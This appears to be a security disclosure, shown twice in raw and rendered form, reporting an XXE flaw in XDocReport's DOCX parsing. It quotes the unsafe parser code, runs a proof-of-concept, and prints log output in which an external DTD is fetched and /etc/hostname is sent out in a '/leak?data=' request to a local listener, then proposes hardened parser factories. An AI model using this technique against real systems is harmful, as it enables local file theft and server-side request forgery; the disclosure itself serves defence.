At Angelo's request, reporting here after a private email.
Vulnerability
Rendering an untrusted DOCX resolves external XML entities. Two parsers in the DOCX path read entries from the untrusted archive with default JAXP factories (no disallow-doctype-decl, no external-entity features, no FEATURE_SECURE_PROCESSING).
DocxReport.onBeforePreprocessing(), once per word/_rels/*.xml.rels entry:
|
SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser(); |
|
saxParser.parse(preprocessedArchive.getEntryInputStream(relsEntryName), contentHandler); |
DOMUtils.load():
|
public static Document load( InputStream stream ) |
|
throws ParserConfigurationException, SAXException, IOException |
|
{ |
|
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); |
|
factory.setNamespaceAware( true ); |
|
DocumentBuilder builder = factory.newDocumentBuilder(); |
|
return builder.parse( stream ); |
|
} |
On the default JDK JAXP stack (no xercesImpl; template marks it <optional>) both resolve external general and parameter entities. The CVE-2025-65482 fix set these features on SAXXDocPreprocessor only; these two parsers read the same archive and were not changed.
Impact: local file read (file://), SSRF, and internal-entity-expansion DoS (CWE-611). Present from 2.0.4 through 2.2.0 and HEAD.
Reproduce
xdocreport-65482-poc.zip
xdocreport-65482-poc.zip (JDK 17 + Maven; deps pulled from Maven Central):
unzip xdocreport-65482-poc.zip && ./run.sh
It builds a DOCX whose word/_rels/document.xml.rels carries an external-entity DOCTYPE and renders it via XDocReportRegistry.getRegistry().loadReport(docx, Freemarker) then report.preprocess(). Output on released 2.2.0:
[*] xercesImpl on classpath: 0 (0 = JDK built-in JAXP)
[*] callback listener port = 43921
[*] ATTACK: XDocReportRegistry.loadReport + report.preprocess()
[harness] report loaded: fr.opensagres.xdocreport.document.docx.DocxReport
HIT 127.0.0.1 - "GET /evil.dtd HTTP/1.1" 200 -
HIT 127.0.0.1 - "GET /leak?data=sprl-svr203 HTTP/1.1" 404 -
[harness] threw: fr.opensagres.xdocreport.core.XDocReportException:
java.io.FileNotFoundException: http://127.0.0.1:43921/leak?data=sprl-svr203
[*] CONTROL: same rels with the external-entity features disabled (HardenedProbe)
[hardened] threw: org.xml.sax.SAXParseException; lineNumber: 7; columnNumber: 141;
The entity "exfil" was referenced, but not declared.
GET /evil.dtd is the SSRF; GET /leak?data=sprl-svr203 carries /etc/hostname (read via file://) in the query string. The control leg, same rels with the features disabled, makes no callback.
Fix
Route the three parsers through one hardened factory (disallow-doctype-decl=true, external-entity features false, FEATURE_SECURE_PROCESSING=true). PR #PR adds newSecureDocumentBuilderFactory() / newSecureSAXParserFactory() to DOMUtils, routes DocxReport, DOMUtils.load, and SAXXDocPreprocessor through them, and adds an XXE regression test.
At Angelo's request, reporting here after a private email.
Vulnerability
Rendering an untrusted DOCX resolves external XML entities. Two parsers in the DOCX path read entries from the untrusted archive with default JAXP factories (no
disallow-doctype-decl, no external-entity features, noFEATURE_SECURE_PROCESSING).DocxReport.onBeforePreprocessing(), once perword/_rels/*.xml.relsentry:xdocreport/document/fr.opensagres.xdocreport.document.docx/src/main/java/fr/opensagres/xdocreport/document/docx/DocxReport.java
Lines 165 to 166 in e7a7431
DOMUtils.load():xdocreport/core/fr.opensagres.xdocreport.core/src/main/java/fr/opensagres/xdocreport/core/utils/DOMUtils.java
Lines 56 to 63 in e7a7431
On the default JDK JAXP stack (no
xercesImpl;templatemarks it<optional>) both resolve external general and parameter entities. The CVE-2025-65482 fix set these features onSAXXDocPreprocessoronly; these two parsers read the same archive and were not changed.Impact: local file read (
file://), SSRF, and internal-entity-expansion DoS (CWE-611). Present from 2.0.4 through 2.2.0 and HEAD.Reproduce
xdocreport-65482-poc.zip
xdocreport-65482-poc.zip(JDK 17 + Maven; deps pulled from Maven Central):unzip xdocreport-65482-poc.zip && ./run.shIt builds a DOCX whose
word/_rels/document.xml.relscarries an external-entity DOCTYPE and renders it viaXDocReportRegistry.getRegistry().loadReport(docx, Freemarker)thenreport.preprocess(). Output on released 2.2.0:GET /evil.dtdis the SSRF;GET /leak?data=sprl-svr203carries/etc/hostname(read viafile://) in the query string. The control leg, same rels with the features disabled, makes no callback.Fix
Route the three parsers through one hardened factory (
disallow-doctype-decl=true, external-entity features false,FEATURE_SECURE_PROCESSING=true). PR #PR addsnewSecureDocumentBuilderFactory()/newSecureSAXParserFactory()toDOMUtils, routesDocxReport,DOMUtils.load, andSAXXDocPreprocessorthrough them, and adds an XXE regression test.